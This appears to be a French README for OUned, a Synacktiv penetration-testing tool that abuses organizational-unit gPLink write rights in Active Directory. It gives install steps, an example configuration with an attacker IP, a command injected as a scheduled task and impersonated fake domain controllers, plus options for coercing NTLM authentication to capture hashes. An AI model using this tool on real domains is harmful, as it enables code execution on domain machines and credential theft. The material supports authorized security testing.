
Le projet OUned automatisant l'exploitation des ACL des unités organisationnelles Active Directory via l'empoisonnement de gPLink.
Le projet OUned, un outil d'exploitation automatisant l'abus des ACL d'unités d'organisation via la manipulation de gPLink.
Pour une explication détaillée du principe derrière l'attaque, de la configuration nécessaire ainsi que de l'utilisation de l'outil, vous pouvez vous référer à l'article associé : https://www.synacktiv.com/publications/ounedpy-exploiting-hidden-organizational-units-acl-attack-vectors-in-active-directory
L'installation peut être réalisée en clonant le dépôt et en installant les dépendances :
$ git clone https://github.com/synacktiv/OUned
$ python3 -m pip install -r requirements.txt
Les arguments d'OUned sont fournis via un fichier de configuration — un exemple de fichier est fourni dans le dépôt, config.example.ini.
Chaque entrée est décrite par un commentaire, mais pour des instructions de configuration détaillées, veuillez vous référer à l'article mentionné dans l'introduction ci-dessus.
[GENERAL]
# Le nom du domaine cible
domain=corp.com
# Le contrôleur de domaine cible. S'il n'est pas spécifié, la valeur par défaut est le nom du domaine
#dc=192.168.123.10
# Le Distinguished Name du conteneur cible
containerDN=OU=SERVERS,DC=corp,DC=com
# Le nom d'utilisateur et le mot de passe de l'utilisateur disposant des droits d'écriture sur l'attribut gPLink du conteneur cible
username=naugustine
password=Password1
# L'adresse IP de la machine de l'attaquant sur le réseau interne
attacker_ip=192.168.123.16
# La commande qui doit être exécutée par les objets enfants. Spécifier une commande injectera une tâche planifiée immédiate
command=whoami > C:\poc.txt
# En alternative à l'option 'command', vous pouvez fournir un fichier module avec la syntaxe GroupPolicyBackdoor - voir https://github.com/synacktiv/GroupPolicyBackdoor/wiki. 'Command' et 'module' sont mutuellement exclusifs
# module=Scheduledtask_add_computer.ini
# Le type d'objets ciblés ("computer" ou "user")
target_type=computer
[LDAP]
# L'adresse IP du contrôleur de domaine factice qui agira comme serveur LDAP
ldap_ip=192.168.125.245
# Facultatif (utilisé pour les vérifications de cohérence) - le nom d'hôte du contrôleur de domaine factice
ldap_hostname=WIN-TTEBC5VH747
# Le nom d'utilisateur et le mot de passe d'un administrateur de domaine sur le contrôleur de domaine factice
ldap_username=ldapadm
ldap_password=Password1!
# L'ID du GPO (peut être vide, il doit seulement exister) sur le contrôleur de domaine factice
gpo_id=7B7D6B23-26F8-4E4B-AF23-F9B9005167F6
# Le nom et le mot de passe du compte machine sur le domaine cible qui seront utilisés pour usurper le serveur LDAP délivrant le GPC
ldap_machine_name=OUNED$
ldap_machine_password=some_very_long_random_password
[SMB]
# Le mode SMB peut être embedded ou forwarded selon le type d'objet ciblé
smb_mode=embedded
# Le nom du partage SMB. Peut être n'importe quoi pour le mode embedded, doit correspondre à un partage existant sur le contrôleur de domaine factice SMB pour le mode forwarded
share_name=synacktiv
# L'adresse IP du contrôleur de domaine factice qui agira comme serveur SMB. Utile uniquement en mode forwarded
#smb_ip=192.168.126.206
# Le nom d'utilisateur et le mot de passe d'un utilisateur ayant un accès en écriture au partage sur le contrôleur de domaine factice SMB. Utile uniquement en mode forwarded
#smb_username=smbadm
#smb_password=Password1!
# Le nom et le mot de passe du compte machine sur le domaine cible qui seront utilisés pour usurper le serveur SMB délivrant le GPT. Utile uniquement en mode forwarded
#smb_machine_name=OUNED2$
#smb_machine_password=some_very_long_random_password
Le seul argument obligatoire lors de l'exécution d'OUned est le drapeau --config indiquant le chemin vers le fichier de configuration.
Les drapeaux --just-coerce et coerce-to sont utilisés pour le mode de coercition d'authentification SMB, dans lequel OUned forcera l'authentification SMB des objets enfants de l'OU vers la destination spécifiée - pour plus de détails, voir l'article lié dans l'introduction.
Concernant le drapeau --just-clean, voir la section suivante.
python3 OUned.py --help
Usage: OUned.py [OPTIONS]
╭─ Options ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ * --config TEXT The configuration file for OUned [default: None] [required] │
│ --skip-checks Do not perform the various checks related to the exploitation setup │
│ --just-coerce Only coerce SMB NTLM authentication of OU child objects to the destination specified in the --coerce-to flag, or, if no destination is │
│ specified, to a local SMB server that will print their NetNTLMv2 hashes │
│ --coerce-to TEXT Coerce child objects SMB NTLM authentication to a specific destination - this argument should be an IP address [default: None] │
│ --just-clean This flag indicates that OUned should only perform cleaning actions from specified cleaning-file │
│ --cleaning-file TEXT The path to the cleaning file in case the --just-clean flag is used [default: None] │
│ --verbose Enable verbose output │
│ --help Show this message and exit. │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Par défaut et comme expliqué dans l'article, OUned effectuera des actions de nettoyage et, entre autres, restaurera la valeur originale de gPLink dans le domaine cible. Dans le cas où l'exploit ne pourrait pas se terminer correctement, OUned crée un fichier de nettoyage à chaque exécution de l'exploit, qui peut être utilisé ultérieurement pour restaurer les valeurs légitimes en utilisant le drapeau --just-clean ; par exemple :
$ python3 OUned.py --config config.example.ini --just-clean --cleaning-file cleaning/FINANCE/2024_04_14-05_02_46.txt